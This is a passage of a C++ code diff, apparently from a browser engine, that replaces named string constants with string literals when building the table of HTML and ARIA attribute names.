-    new ((void*)&accept_charsetAttr) QualifiedName(nullAtom, accept_charsetAttrString, nullAtom);
-    new ((void*)&accesskeyAttr) QualifiedName(nullAtom, accesskeyAttrString, nullAtom);
-    new ((void*)&actionAttr) QualifiedName(nullAtom, actionAttrString, nullAtom);
-    new ((void*)&alignAttr) QualifiedName(nullAtom, alignAttrString, nullAtom);
-    new ((void*)&alinkAttr) QualifiedName(nullAtom, alinkAttrString, nullAtom);
-    new ((void*)&altAttr) QualifiedName(nullAtom, altAttrString, nullAtom);
-    new ((void*)&archiveAttr) QualifiedName(nullAtom, archiveAttrString, nullAtom);
-    new ((void*)&aria_activedescendantAttr) QualifiedName(nullAtom, aria_activedescendantAttrString, nullAtom);
-    new ((void*)&aria_checkedAttr) QualifiedName(nullAtom, aria_checkedAttrString, nullAtom);
-    new ((void*)&aria_describedbyAttr) QualifiedName(nullAtom, aria_describedbyAttrString, nullAtom);
-    new ((void*)&aria_disabledAttr) QualifiedName(nullAtom, aria_disabledAttrString, nullAtom);
-    new ((void*)&aria_hiddenAttr) QualifiedName(nullAtom, aria_hiddenAttrString, nullAtom);
-    new ((void*)&aria_labelAttr) QualifiedName(nullAtom, aria_labelAttrString, nullAtom);
-    new ((void*)&aria_labeledbyAttr) QualifiedName(nullAtom, aria_labeledbyAttrString, nullAtom);
-    new ((void*)&aria_labelledbyAttr) QualifiedName(nullAtom, aria_labelledbyAttrString, nullAtom);
-    new ((void*)&aria_levelAttr) QualifiedName(nullAtom, aria_levelAttrString, nullAtom);
-    new ((void*)&aria_pressedAttr) QualifiedName(nullAtom, aria_pressedAttrString, nullAtom);
-    new ((void*)&aria_readonlyAttr) QualifiedName(nullAtom, aria_readonlyAttrString, nullAtom);
-    new ((void*)&aria_requiredAttr) QualifiedName(nullAtom, aria_requiredAttrString, nullAtom);
-    new ((void*)&aria_valuemaxAttr) QualifiedName(nullAtom, aria_valuemaxAttrString, nullAtom);
-    new ((void*)&aria_valueminAttr) QualifiedName(nullAtom, aria_valueminAttrString, nullAtom);
-    new ((void*)&aria_valuenowAttr) QualifiedName(nullAtom, aria_valuenowAttrString, nullAtom);
-    new ((void*)&aria_valuetextAttr) QualifiedName(nullAtom, aria_valuetextAttrString, nullAtom);
-    new ((void*)&autobufferAttr) QualifiedName(nullAtom, autobufferAttrString, nullAtom);
-    new ((void*)&autocompleteAttr) QualifiedName(nullAtom, autocompleteAttrString, nullAtom);
-    new ((void*)&autofocusAttr) QualifiedName(nullAtom, autofocusAttrString, nullAtom);
-    new ((void*)&autoplayAttr) QualifiedName(nullAtom, autoplayAttrString, nullAtom);
-    new ((void*)&autosaveAttr) QualifiedName(nullAtom, autosaveAttrString, nullAtom);
-    new ((void*)&axisAttr) QualifiedName(nullAtom, axisAttrString, nullAtom);
-    new ((void*)&backgroundAttr) QualifiedName(nullAtom, backgroundAttrString, nullAtom);
-    new ((void*)&behaviorAttr) QualifiedName(nullAtom, behaviorAttrString, nullAtom);
-    new ((void*)&bgcolorAttr) QualifiedName(nullAtom, bgcolorAttrString, nullAtom);
-    new ((void*)&bgpropertiesAttr) QualifiedName(nullAtom, bgpropertiesAttrString, nullAtom);
-    new ((void*)&borderAttr) QualifiedName(nullAtom, borderAttrString, nullAtom);
-    new ((void*)&bordercolorAttr) QualifiedName(nullAtom, bordercolorAttrString, nullAtom);
-    new ((void*)&cellborderAttr) QualifiedName(nullAtom, cellborderAttrString, nullAtom);
-    new ((void*)&cellpaddingAttr) QualifiedName(nullAtom, cellpaddingAttrString, nullAtom);
-    new ((void*)&cellspacingAttr) QualifiedName(nullAtom, cellspacingAttrString, nullAtom);
-    new ((void*)&challengeAttr) QualifiedName(nullAtom, challengeAttrString, nullAtom);
-    new ((void*)&charAttr) QualifiedName(nullAtom, charAttrString, nullAtom);
-    new ((void*)&charoffAttr) QualifiedName(nullAtom, charoffAttrString, nullAtom);
-    new ((void*)&charsetAttr) QualifiedName(nullAtom, charsetAttrString, nullAtom);
-    new ((void*)&checkedAttr) QualifiedName(nullAtom, checkedAttrString, nullAtom);
-    new ((void*)&citeAttr) QualifiedName(nullAtom, citeAttrString, nullAtom);
-    new ((void*)&classAttr) QualifiedName(nullAtom, classAttrString, nullAtom);
-    new ((void*)&classidAttr) QualifiedName(nullAtom, classidAttrString, nullAtom);
-    new ((void*)&clearAttr) QualifiedName(nullAtom, clearAttrString, nullAtom);
-    new ((void*)&codeAttr) QualifiedName(nullAtom, codeAttrString, nullAtom);
-    new ((void*)&codebaseAttr) QualifiedName(nullAtom, codebaseAttrString, nullAtom);
-    new ((void*)&codetypeAttr) QualifiedName(nullAtom, codetypeAttrString, nullAtom);
-    new ((void*)&colorAttr) QualifiedName(nullAtom, colorAttrString, nullAtom);
-    new ((void*)&colsAttr) QualifiedName(nullAtom, colsAttrString, nullAtom);
-    new ((void*)&colspanAttr) QualifiedName(nullAtom, colspanAttrString, nullAtom);
-    new ((void*)&compactAttr) QualifiedName(nullAtom, compactAttrString, nullAtom);
-    new ((void*)&compositeAttr) QualifiedName(nullAtom, compositeAttrString, nullAtom);
-    new ((void*)&contentAttr) QualifiedName(nullAtom, contentAttrString, nullAtom);
-    new ((void*)&contenteditableAttr) QualifiedName(nullAtom, contenteditableAttrString, nullAtom);
-    new ((void*)&controlsAttr) QualifiedName(nullAtom, controlsAttrString, nullAtom);
-    new ((void*)&coordsAttr) QualifiedName(nullAtom, coordsAttrString, nullAtom);
-    new ((void*)&dataAttr) QualifiedName(nullAtom, dataAttrString, nullAtom);
-    new ((void*)&datetimeAttr) QualifiedName(nullAtom, datetimeAttrString, nullAtom);
-    new ((void*)&declareAttr) QualifiedName(nullAtom, declareAttrString, nullAtom);
-    new ((void*)&deferAttr) QualifiedName(nullAtom, deferAttrString, nullAtom);
-    new ((void*)&dirAttr) QualifiedName(nullAtom, dirAttrString, nullAtom);
-    new ((void*)&directionAttr) QualifiedName(nullAtom, directionAttrString, nullAtom);
-    new ((void*)&disabledAttr) QualifiedName(nullAtom, disabledAttrString, nullAtom);
-    new ((void*)&draggableAttr) QualifiedName(nullAtom, draggableAttrString, nullAtom);
-    new ((void*)&enctypeAttr) QualifiedName(nullAtom, enctypeAttrString, nullAtom);
-    new ((void*)&endAttr) QualifiedName(nullAtom, endAttrString, nullAtom);
-    new ((void*)&expandedAttr) QualifiedName(nullAtom, expandedAttrString, nullAtom);
-    new ((void*)&faceAttr) QualifiedName(nullAtom, faceAttrString, nullAtom);
-    new ((void*)&focusedAttr) QualifiedName(nullAtom, focusedAttrString, nullAtom);
-    new ((void*)&forAttr) QualifiedName(nullAtom, forAttrString, nullAtom);
-    new ((void*)&formnovalidateAttr) QualifiedName(nullAtom, formnovalidateAttrString, nullAtom);
-    new ((void*)&frameAttr) QualifiedName(nullAtom, frameAttrString, nullAtom);
-    new ((void*)&frameborderAttr) QualifiedName(nullAtom, frameborderAttrString, nullAtom);
-    new ((void*)&headersAttr) QualifiedName(nullAtom, headersAttrString, nullAtom);
-    new ((void*)&heightAttr) QualifiedName(nullAtom, heightAttrString, nullAtom);
-    new ((void*)&hiddenAttr) QualifiedName(nullAtom, hiddenAttrString, nullAtom);
-    new ((void*)&hrefAttr) QualifiedName(nullAtom, hrefAttrString, nullAtom);
-    new ((void*)&hreflangAttr) QualifiedName(nullAtom, hreflangAttrString, nullAtom);
-    new ((void*)&hspaceAttr) QualifiedName(nullAtom, hspaceAttrString, nullAtom);
-    new ((void*)&http_equivAttr) QualifiedName(nullAtom, http_equivAttrString, nullAtom);
-    new ((void*)&idAttr) QualifiedName(nullAtom, idAttrString, nullAtom);
-    new ((void*)&incrementalAttr) QualifiedName(nullAtom, incrementalAttrString, nullAtom);
-    new ((void*)&indeterminateAttr) QualifiedName(nullAtom, indeterminateAttrString, nullAtom);
-    new ((void*)&ismapAttr) QualifiedName(nullAtom, ismapAttrString, nullAtom);
-    new ((void*)&keytypeAttr) QualifiedName(nullAtom, keytypeAttrString, nullAtom);
-    new ((void*)&labelAttr) QualifiedName(nullAtom, labelAttrString, nullAtom);
-    new ((void*)&langAttr) QualifiedName(nullAtom, langAttrString, nullAtom);
-    new ((void*)&languageAttr) QualifiedName(nullAtom, languageAttrString, nullAtom);
-    new ((void*)&leftmarginAttr) QualifiedName(nullAtom, leftmarginAttrString, nullAtom);
-    new ((void*)&linkAttr) QualifiedName(nullAtom, linkAttrString, nullAtom);
-    new ((void*)&listAttr) QualifiedName(nullAtom, listAttrString, nullAtom);
-    new ((void*)&longdescAttr) QualifiedName(nullAtom, longdescAttrString, nullAtom);
-    new ((void*)&loopAttr) QualifiedName(nullAtom, loopAttrString, nullAtom);
-    new ((void*)&loopendAttr) QualifiedName(nullAtom, loopendAttrString, nullAtom);
-    new ((void*)&loopstartAttr) QualifiedName(nullAtom, loopstartAttrString, nullAtom);
-    new ((void*)&lowsrcAttr) QualifiedName(nullAtom, lowsrcAttrString, nullAtom);
-    new ((void*)&manifestAttr) QualifiedName(nullAtom, manifestAttrString, nullAtom);
-    new ((void*)&marginheightAttr) QualifiedName(nullAtom, marginheightAttrString, nullAtom);
-    new ((void*)&marginwidthAttr) QualifiedName(nullAtom, marginwidthAttrString, nullAtom);
-    new ((void*)&maxAttr) QualifiedName(nullAtom, maxAttrString, nullAtom);
-    new ((void*)&maxlengthAttr) QualifiedName(nullAtom, maxlengthAttrString, nullAtom);
-    new ((void*)&mayscriptAttr) QualifiedName(nullAtom, mayscriptAttrString, nullAtom);
-    new ((void*)&mediaAttr) QualifiedName(nullAtom, mediaAttrString, nullAtom);
-    new ((void*)&methodAttr) QualifiedName(nullAtom, methodAttrString, nullAtom);
-    new ((void*)&minAttr) QualifiedName(nullAtom, minAttrString, nullAtom);
-    new ((void*)&multipleAttr) QualifiedName(nullAtom, multipleAttrString, nullAtom);
-    new ((void*)&nameAttr) QualifiedName(nullAtom, nameAttrString, nullAtom);
-    new ((void*)&nohrefAttr) QualifiedName(nullAtom, nohrefAttrString, nullAtom);
-    new ((void*)&noresizeAttr) QualifiedName(nullAtom, noresizeAttrString, nullAtom);
-    new ((void*)&noshadeAttr) QualifiedName(nullAtom, noshadeAttrString, nullAtom);
-    new ((void*)&novalidateAttr) QualifiedName(nullAtom, novalidateAttrString, nullAtom);
-    new ((void*)&nowrapAttr) QualifiedName(nullAtom, nowrapAttrString, nullAtom);
-    new ((void*)&objectAttr) QualifiedName(nullAtom, objectAttrString, nullAtom);
-    new ((void*)&onabortAttr) QualifiedName(nullAtom, onabortAttrString, nullAtom);
-    new ((void*)&onbeforecopyAttr) QualifiedName(nullAtom, onbeforecopyAttrString, nullAtom);
-    new ((void*)&onbeforecutAttr) QualifiedName(nullAtom, onbeforecutAttrString, nullAtom);
-    new ((void*)&onbeforeloadAttr) QualifiedName(nullAtom, onbeforeloadAttrString, nullAtom);
-    new ((void*)&onbeforepasteAttr) QualifiedName(nullAtom, onbeforepasteAttrString, nullAtom);
-    new ((void*)&onbeforeunloadAttr) QualifiedName(nullAtom, onbeforeunloadAttrString, nullAtom);
-    new ((void*)&onblurAttr) QualifiedName(nullAtom, onblurAttrString, nullAtom);
-    new ((void*)&oncanplayAttr) QualifiedName(nullAtom, oncanplayAttrString, nullAtom);
-    new ((void*)&oncanplaythroughAttr) QualifiedName(nullAtom, oncanplaythroughAttrString, nullAtom);
-    new ((void*)&onchangeAttr) QualifiedName(nullAtom, onchangeAttrString, nullAtom);
-    new ((void*)&onclickAttr) QualifiedName(nullAtom, onclickAttrString, nullAtom);
-    new ((void*)&oncontextmenuAttr) QualifiedName(nullAtom, oncontextmenuAttrString, nullAtom);
-    new ((void*)&oncopyAttr) QualifiedName(nullAtom, oncopyAttrString, nullAtom);
-    new ((void*)&oncutAttr) QualifiedName(nullAtom, oncutAttrString, nullAtom);
-    new ((void*)&ondblclickAttr) QualifiedName(nullAtom, ondblclickAttrString, nullAtom);
-    new ((void*)&ondragAttr) QualifiedName(nullAtom, ondragAttrString, nullAtom);
-    new ((void*)&ondragendAttr) QualifiedName(nullAtom, ondragendAttrString, nullAtom);
-    new ((void*)&ondragenterAttr) QualifiedName(nullAtom, ondragenterAttrString, nullAtom);
-    new ((void*)&ondragleaveAttr) QualifiedName(nullAtom, ondragleaveAttrString, nullAtom);
-    new ((void*)&ondragoverAttr) QualifiedName(nullAtom, ondragoverAttrString, nullAtom);
-    new ((void*)&ondragstartAttr) QualifiedName(nullAtom, ondragstartAttrString, nullAtom);
-    new ((void*)&ondropAttr) QualifiedName(nullAtom, ondropAttrString, nullAtom);
-    new ((void*)&ondurationchangeAttr) QualifiedName(nullAtom, ondurationchangeAttrString, nullAtom);
-    new ((void*)&onemptiedAttr) QualifiedName(nullAtom, onemptiedAttrString, nullAtom);
-    new ((void*)&onendedAttr) QualifiedName(nullAtom, onendedAttrString, nullAtom);
-    new ((void*)&onerrorAttr) QualifiedName(nullAtom, onerrorAttrString, nullAtom);
-    new ((void*)&onfocusAttr) QualifiedName(nullAtom, onfocusAttrString, nullAtom);
-    new ((void*)&onhashchangeAttr) QualifiedName(nullAtom, onhashchangeAttrString, nullAtom);
-    new ((void*)&oninputAttr) QualifiedName(nullAtom, oninputAttrString, nullAtom);
-    new ((void*)&oninvalidAttr) QualifiedName(nullAtom, oninvalidAttrString, nullAtom);
-    new ((void*)&onkeydownAttr) QualifiedName(nullAtom, onkeydownAttrString, nullAtom);
-    new ((void*)&onkeypressAttr) QualifiedName(nullAtom, onkeypressAttrString, nullAtom);
-    new ((void*)&onkeyupAttr) QualifiedName(nullAtom, onkeyupAttrString, nullAtom);
-    new ((void*)&onloadAttr) QualifiedName(nullAtom, onloadAttrString, nullAtom);
-    new ((void*)&onloadeddataAttr) QualifiedName(nullAtom, onloadeddataAttrString, nullAtom);
-    new ((void*)&onloadedmetadataAttr) QualifiedName(nullAtom, onloadedmetadataAttrString, nullAtom);
-    new ((void*)&onloadstartAttr) QualifiedName(nullAtom, onloadstartAttrString, nullAtom);
-    new ((void*)&onmousedownAttr) QualifiedName(nullAtom, onmousedownAttrString, nullAtom);
-    new ((void*)&onmousemoveAttr) QualifiedName(nullAtom, onmousemoveAttrString, nullAtom);
-    new ((void*)&onmouseoutAttr) QualifiedName(nullAtom, onmouseoutAttrString, nullAtom);
-    new ((void*)&onmouseoverAttr) QualifiedName(nullAtom, onmouseoverAttrString, nullAtom);
-    new ((void*)&onmouseupAttr) QualifiedName(nullAtom, onmouseupAttrString, nullAtom);
-    new ((void*)&onmousewheelAttr) QualifiedName(nullAtom, onmousewheelAttrString, nullAtom);
-    new ((void*)&onofflineAttr) QualifiedName(nullAtom, onofflineAttrString, nullAtom);
-    new ((void*)&ononlineAttr) QualifiedName(nullAtom, ononlineAttrString, nullAtom);
-    new ((void*)&onorientationchangeAttr) QualifiedName(nullAtom, onorientationchangeAttrString, nullAtom);
-    new ((void*)&onpagehideAttr) QualifiedName(nullAtom, onpagehideAttrString, nullAtom);
-    new ((void*)&onpageshowAttr) QualifiedName(nullAtom, onpageshowAttrString, nullAtom);
-    new ((void*)&onpasteAttr) QualifiedName(nullAtom, onpasteAttrString, nullAtom);
-    new ((void*)&onpauseAttr) QualifiedName(nullAtom, onpauseAttrString, nullAtom);
-    new ((void*)&onplayAttr) QualifiedName(nullAtom, onplayAttrString, nullAtom);
-    new ((void*)&onplayingAttr) QualifiedName(nullAtom, onplayingAttrString, nullAtom);
-    new ((void*)&onprogressAttr) QualifiedName(nullAtom, onprogressAttrString, nullAtom);
-    new ((void*)&onratechangeAttr) QualifiedName(nullAtom, onratechangeAttrString, nullAtom);
-    new ((void*)&onresetAttr) QualifiedName(nullAtom, onresetAttrString, nullAtom);
-    new ((void*)&onresizeAttr) QualifiedName(nullAtom, onresizeAttrString, nullAtom);
-    new ((void*)&onscrollAttr) QualifiedName(nullAtom, onscrollAttrString, nullAtom);
-    new ((void*)&onsearchAttr) QualifiedName(nullAtom, onsearchAttrString, nullAtom);
-    new ((void*)&onseekedAttr) QualifiedName(nullAtom, onseekedAttrString, nullAtom);
-    new ((void*)&onseekingAttr) QualifiedName(nullAtom, onseekingAttrString, nullAtom);
-    new ((void*)&onselectAttr) QualifiedName(nullAtom, onselectAttrString, nullAtom);
-    new ((void*)&onselectstartAttr) QualifiedName(nullAtom, onselectstartAttrString, nullAtom);
-    new ((void*)&onstalledAttr) QualifiedName(nullAtom, onstalledAttrString, nullAtom);
-    new ((void*)&onstorageAttr) QualifiedName(nullAtom, onstorageAttrString, nullAtom);
-    new ((void*)&onsubmitAttr) QualifiedName(nullAtom, onsubmitAttrString, nullAtom);
-    new ((void*)&onsuspendAttr) QualifiedName(nullAtom, onsuspendAttrString, nullAtom);
-    new ((void*)&ontimeupdateAttr) QualifiedName(nullAtom, ontimeupdateAttrString, nullAtom);
-    new ((void*)&onunloadAttr) QualifiedName(nullAtom, onunloadAttrString, nullAtom);
-    new ((void*)&onvolumechangeAttr) QualifiedName(nullAtom, onvolumechangeAttrString, nullAtom);
-    new ((void*)&onwaitingAttr) QualifiedName(nullAtom, onwaitingAttrString, nullAtom);
-    new ((void*)&onwebkitanimationendAttr) QualifiedName(nullAtom, onwebkitanimationendAttrString, nullAtom);
-    new ((void*)&onwebkitanimationiterationAttr) QualifiedName(nullAtom, onwebkitanimationiterationAttrString, nullAtom);
-    new ((void*)&onwebkitanimationstartAttr) QualifiedName(nullAtom, onwebkitanimationstartAttrString, nullAtom);
-    new ((void*)&onwebkittransitionendAttr) QualifiedName(nullAtom, onwebkittransitionendAttrString, nullAtom);
-    new ((void*)&patternAttr) QualifiedName(nullAtom, patternAttrString, nullAtom);
-    new ((void*)&placeholderAttr) QualifiedName(nullAtom, placeholderAttrString, nullAtom);
-    new ((void*)&playcountAttr) QualifiedName(nullAtom, playcountAttrString, nullAtom);
-    new ((void*)&pluginurlAttr) QualifiedName(nullAtom, pluginurlAttrString, nullAtom);
-    new ((void*)&posterAttr) QualifiedName(nullAtom, posterAttrString, nullAtom);
-    new ((void*)&precisionAttr) QualifiedName(nullAtom, precisionAttrString, nullAtom);
-    new ((void*)&primaryAttr) QualifiedName(nullAtom, primaryAttrString, nullAtom);
-    new ((void*)&profileAttr) QualifiedName(nullAtom, profileAttrString, nullAtom);
-    new ((void*)&progressAttr) QualifiedName(nullAtom, progressAttrString, nullAtom);
-    new ((void*)&promptAttr) QualifiedName(nullAtom, promptAttrString, nullAtom);
-    new ((void*)&readonlyAttr) QualifiedName(nullAtom, readonlyAttrString, nullAtom);
-    new ((void*)&relAttr) QualifiedName(nullAtom, relAttrString, nullAtom);
-    new ((void*)&requiredAttr) QualifiedName(nullAtom, requiredAttrString, nullAtom);
-    new ((void*)&resultsAttr) QualifiedName(nullAtom, resultsAttrString, nullAtom);
-    new ((void*)&revAttr) QualifiedName(nullAtom, revAttrString, nullAtom);
-    new ((void*)&roleAttr) QualifiedName(nullAtom, roleAttrString, nullAtom);
-    new ((void*)&rowsAttr) QualifiedName(nullAtom, rowsAttrString, nullAtom);
-    new ((void*)&rowspanAttr) QualifiedName(nullAtom, rowspanAttrString, nullAtom);
-    new ((void*)&rulesAttr) QualifiedName(nullAtom, rulesAttrString, nullAtom);
-    new ((void*)&schemeAttr) QualifiedName(nullAtom, schemeAttrString, nullAtom);
-    new ((void*)&scopeAttr) QualifiedName(nullAtom, scopeAttrString, nullAtom);
-    new ((void*)&scrollamountAttr) QualifiedName(nullAtom, scrollamountAttrString, nullAtom);
-    new ((void*)&scrolldelayAttr) QualifiedName(nullAtom, scrolldelayAttrString, nullAtom);
-    new ((void*)&scrollingAttr) QualifiedName(nullAtom, scrollingAttrString, nullAtom);
-    new ((void*)&selectedAttr) QualifiedName(nullAtom, selectedAttrString, nullAtom);
-    new ((void*)&shapeAttr) QualifiedName(nullAtom, shapeAttrString, nullAtom);
-    new ((void*)&sizeAttr) QualifiedName(nullAtom, sizeAttrString, nullAtom);
-    new ((void*)&sortableAttr) QualifiedName(nullAtom, sortableAttrString, nullAtom);
-    new ((void*)&sortdirectionAttr) QualifiedName(nullAtom, sortdirectionAttrString, nullAtom);
-    new ((void*)&spanAttr) QualifiedName(nullAtom, spanAttrString, nullAtom);
-    new ((void*)&spellcheckAttr) QualifiedName(nullAtom, spellcheckAttrString, nullAtom);
-    new ((void*)&srcAttr) QualifiedName(nullAtom, srcAttrString, nullAtom);
-    new ((void*)&standbyAttr) QualifiedName(nullAtom, standbyAttrString, nullAtom);
-    new ((void*)&startAttr) QualifiedName(nullAtom, startAttrString, nullAtom);
-    new ((void*)&styleAttr) QualifiedName(nullAtom, styleAttrString, nullAtom);
-    new ((void*)&summaryAttr) QualifiedName(nullAtom, summaryAttrString, nullAtom);
-    new ((void*)&tabindexAttr) QualifiedName(nullAtom, tabindexAttrString, nullAtom);
-    new ((void*)&tableborderAttr) QualifiedName(nullAtom, tableborderAttrString, nullAtom);
-    new ((void*)&targetAttr) QualifiedName(nullAtom, targetAttrString, nullAtom);
-    new ((void*)&textAttr) QualifiedName(nullAtom, textAttrString, nullAtom);
-    new ((void*)&titleAttr) QualifiedName(nullAtom, titleAttrString, nullAtom);
-    new ((void*)&topAttr) QualifiedName(nullAtom, topAttrString, nullAtom);
-    new ((void*)&topmarginAttr) QualifiedName(nullAtom, topmarginAttrString, nullAtom);
-    new ((void*)&truespeedAttr) QualifiedName(nullAtom, truespeedAttrString, nullAtom);
-    new ((void*)&typeAttr) QualifiedName(nullAtom, typeAttrString, nullAtom);
-    new ((void*)&usemapAttr) QualifiedName(nullAtom, usemapAttrString, nullAtom);
-    new ((void*)&valignAttr) QualifiedName(nullAtom, valignAttrString, nullAtom);
-    new ((void*)&valueAttr) QualifiedName(nullAtom, valueAttrString, nullAtom);
-    new ((void*)&valuetypeAttr) QualifiedName(nullAtom, valuetypeAttrString, nullAtom);
-    new ((void*)&versionAttr) QualifiedName(nullAtom, versionAttrString, nullAtom);
-    new ((void*)&viewsourceAttr) QualifiedName(nullAtom, viewsourceAttrString, nullAtom);
-    new ((void*)&vlinkAttr) QualifiedName(nullAtom, vlinkAttrString, nullAtom);
-    new ((void*)&vspaceAttr) QualifiedName(nullAtom, vspaceAttrString, nullAtom);
-    new ((void*)&widthAttr) QualifiedName(nullAtom, widthAttrString, nullAtom);
-    new ((void*)&wrapAttr) QualifiedName(nullAtom, wrapAttrString, nullAtom);
+    new ((void*)&abbrAttr) QualifiedName(nullAtom, "abbr", nullAtom);
+    new ((void*)&acceptAttr) QualifiedName(nullAtom, "accept", nullAtom);
+    new ((void*)&accept_charsetAttr) QualifiedName(nullAtom, "accept-charset", nullAtom);
+    new ((void*)&accesskeyAttr) QualifiedName(nullAtom, "accesskey", nullAtom);
+    new ((void*)&actionAttr) QualifiedName(nullAtom, "action", nullAtom);
+    new ((void*)&alignAttr) QualifiedName(nullAtom, "align", nullAtom);
+    new ((void*)&alinkAttr) QualifiedName(nullAtom, "alink", nullAtom);
+    new ((void*)&altAttr) QualifiedName(nullAtom, "alt", nullAtom);
+    new ((void*)&archiveAttr) QualifiedName(nullAtom, "archive", nullAtom);
+    new ((void*)&aria_activedescendantAttr) QualifiedName(nullAtom, "aria-activedescendant", nullAtom);
+    new ((void*)&aria_atomicAttr) QualifiedName(nullAtom, "aria-atomic", nullAtom);
+    new ((void*)&aria_busyAttr) QualifiedName(nullAtom, "aria-busy", nullAtom);
+    new ((void*)&aria_checkedAttr) QualifiedName(nullAtom, "aria-checked", nullAtom);
+    new ((void*)&aria_controlsAttr) QualifiedName(nullAtom, "aria-controls", nullAtom);
+    new ((void*)&aria_describedbyAttr) QualifiedName(nullAtom, "aria-describedby", nullAtom);
+    new ((void*)&aria_disabledAttr) QualifiedName(nullAtom, "aria-disabled", nullAtom);
+    new ((void*)&aria_dropeffectAttr) QualifiedName(nullAtom, "aria-dropeffect", nullAtom);
+    new ((void*)&aria_expandedAttr) QualifiedName(nullAtom, "aria-expanded", nullAtom);
+    new ((void*)&aria_flowtoAttr) QualifiedName(nullAtom, "aria-flowto", nullAtom);
+    new ((void*)&aria_grabbedAttr) QualifiedName(nullAtom, "aria-grabbed", nullAtom);
+    new ((void*)&aria_haspopupAttr) QualifiedName(nullAtom, "aria-haspopup", nullAtom);
+    new ((void*)&aria_hiddenAttr) QualifiedName(nullAtom, "aria-hidden", nullAtom);
+    new ((void*)&aria_labelAttr) QualifiedName(nullAtom, "aria-label", nullAtom);
+    new ((void*)&aria_labeledbyAttr) QualifiedName(nullAtom, "aria-labeledby", nullAtom);
+    new ((void*)&aria_labelledbyAttr) QualifiedName(nullAtom, "aria-labelledby", nullAtom);
+    new ((void*)&aria_levelAttr) QualifiedName(nullAtom, "aria-level", nullAtom);
+    new ((void*)&aria_liveAttr) QualifiedName(nullAtom, "aria-live", nullAtom);
+    new ((void*)&aria_multiselectableAttr) QualifiedName(nullAtom, "aria-multiselectable", nullAtom);
+    new ((void*)&aria_orientationAttr) QualifiedName(nullAtom, "aria-orientation", nullAtom);
+    new ((void*)&aria_ownsAttr) QualifiedName(nullAtom, "aria-owns", nullAtom);
+    new ((void*)&aria_pressedAttr) QualifiedName(nullAtom, "aria-pressed", nullAtom);
+    new ((void*)&aria_readonlyAttr) QualifiedName(nullAtom, "aria-readonly", nullAtom);
+    new ((void*)&aria_relevantAttr) QualifiedName(nullAtom, "aria-relevant", nullAtom);
+    new ((void*)&aria_requiredAttr) QualifiedName(nullAtom, "aria-required", nullAtom);
+    new ((void*)&aria_selectedAttr) QualifiedName(nullAtom, "aria-selected", nullAtom);
+    new ((void*)&aria_valuemaxAttr) QualifiedName(nullAtom, "aria-valuemax", nullAtom);
+    new ((void*)&aria_valueminAttr) QualifiedName(nullAtom, "aria-valuemin", nullAtom);
+    new ((void*)&aria_valuenowAttr) QualifiedName(nullAtom, "aria-valuenow", nullAtom);
+    new ((void*)&aria_valuetextAttr) QualifiedName(nullAtom, "aria-valuetext", nullAtom);
+    new ((void*)&autocompleteAttr) QualifiedName(nullAtom, "autocomplete", nullAtom);
+    new ((void*)&autofocusAttr) QualifiedName(nullAtom, "autofocus", nullAtom);
+    new ((void*)&autoplayAttr) QualifiedName(nullAtom, "autoplay", nullAtom);
+    new ((void*)&autosaveAttr) QualifiedName(nullAtom, "autosave", nullAtom);
+    new ((void*)&axisAttr) QualifiedName(nullAtom, "axis", nullAtom);
+    new ((void*)&backgroundAttr) QualifiedName(nullAtom, "background", nullAtom);
+    new ((void*)&behaviorAttr) QualifiedName(nullAtom, "behavior", nullAtom);
+    new ((void*)&bgcolorAttr) QualifiedName(nullAtom, "bgcolor", nullAtom);
+    new ((void*)&bgpropertiesAttr) QualifiedName(nullAtom, "bgproperties", nullAtom);
+    new ((void*)&borderAttr) QualifiedName(nullAtom, "border", nullAtom);
+    new ((void*)&bordercolorAttr) QualifiedName(nullAtom, "bordercolor", nullAtom);
+    new ((void*)&cellborderAttr) QualifiedName(nullAtom, "cellborder", nullAtom);
+    new ((void*)&cellpaddingAttr) QualifiedName(nullAtom, "cellpadding", nullAtom);
+    new ((void*)&cellspacingAttr) QualifiedName(nullAtom, "cellspacing", nullAtom);
+    new ((void*)&challengeAttr) QualifiedName(nullAtom, "challenge", nullAtom);
+    new ((void*)&charAttr) QualifiedName(nullAtom, "char", nullAtom);
+    new ((void*)&charoffAttr) QualifiedName(nullAtom, "charoff", nullAtom);
+    new ((void*)&charsetAttr) QualifiedName(nullAtom, "charset", nullAtom);
+    new ((void*)&checkedAttr) QualifiedName(nullAtom, "checked", nullAtom);
+    new ((void*)&citeAttr) QualifiedName(nullAtom, "cite", nullAtom);
+    new ((void*)&classAttr) QualifiedName(nullAtom, "class", nullAtom);
+    new ((void*)&classidAttr) QualifiedName(nullAtom, "classid", nullAtom);
+    new ((void*)&clearAttr) QualifiedName(nullAtom, "clear", nullAtom);
+    new ((void*)&codeAttr) QualifiedName(nullAtom, "code", nullAtom);
+    new ((void*)&codebaseAttr) QualifiedName(nullAtom, "codebase", nullAtom);
+    new ((void*)&codetypeAttr) QualifiedName(nullAtom, "codetype", nullAtom);
+    new ((void*)&colorAttr) QualifiedName(nullAtom, "color", nullAtom);
+    new ((void*)&colsAttr) QualifiedName(nullAtom, "cols", nullAtom);
+    new ((void*)&colspanAttr) QualifiedName(nullAtom, "colspan", nullAtom);
+    new ((void*)&compactAttr) QualifiedName(nullAtom, "compact", nullAtom);
+    new ((void*)&compositeAttr) QualifiedName(nullAtom, "composite", nullAtom);
+    new ((void*)&contentAttr) QualifiedName(nullAtom, "content", nullAtom);
+    new ((void*)&contenteditableAttr) QualifiedName(nullAtom, "contenteditable", nullAtom);
+    new ((void*)&controlsAttr) QualifiedName(nullAtom, "controls", nullAtom);
+    new ((void*)&coordsAttr) QualifiedName(nullAtom, "coords", nullAtom);
+    new ((void*)&dataAttr) QualifiedName(nullAtom, "data", nullAtom);
+    new ((void*)&datetimeAttr) QualifiedName(nullAtom, "datetime", nullAtom);
+    new ((void*)&declareAttr) QualifiedName(nullAtom, "declare", nullAtom);
+    new ((void*)&deferAttr) QualifiedName(nullAtom, "defer", nullAtom);
+    new ((void*)&dirAttr) QualifiedName(nullAtom, "dir", nullAtom);
+    new ((void*)&directionAttr) QualifiedName(nullAtom, "direction", nullAtom);
+    new ((void*)&disabledAttr) QualifiedName(nullAtom, "disabled", nullAtom);
+    new ((void*)&draggableAttr) QualifiedName(nullAtom, "draggable", nullAtom);
+    new ((void*)&enctypeAttr) QualifiedName(nullAtom, "enctype", nullAtom);
+    new ((void*)&endAttr) QualifiedName(nullAtom, "end", nullAtom);
+    new ((void*)&eventAttr) QualifiedName(nullAtom, "event", nullAtom);
+    new ((void*)&expandedAttr) QualifiedName(nullAtom, "expanded", nullAtom);
+    new ((void*)&faceAttr) QualifiedName(nullAtom, "face", nullAtom);
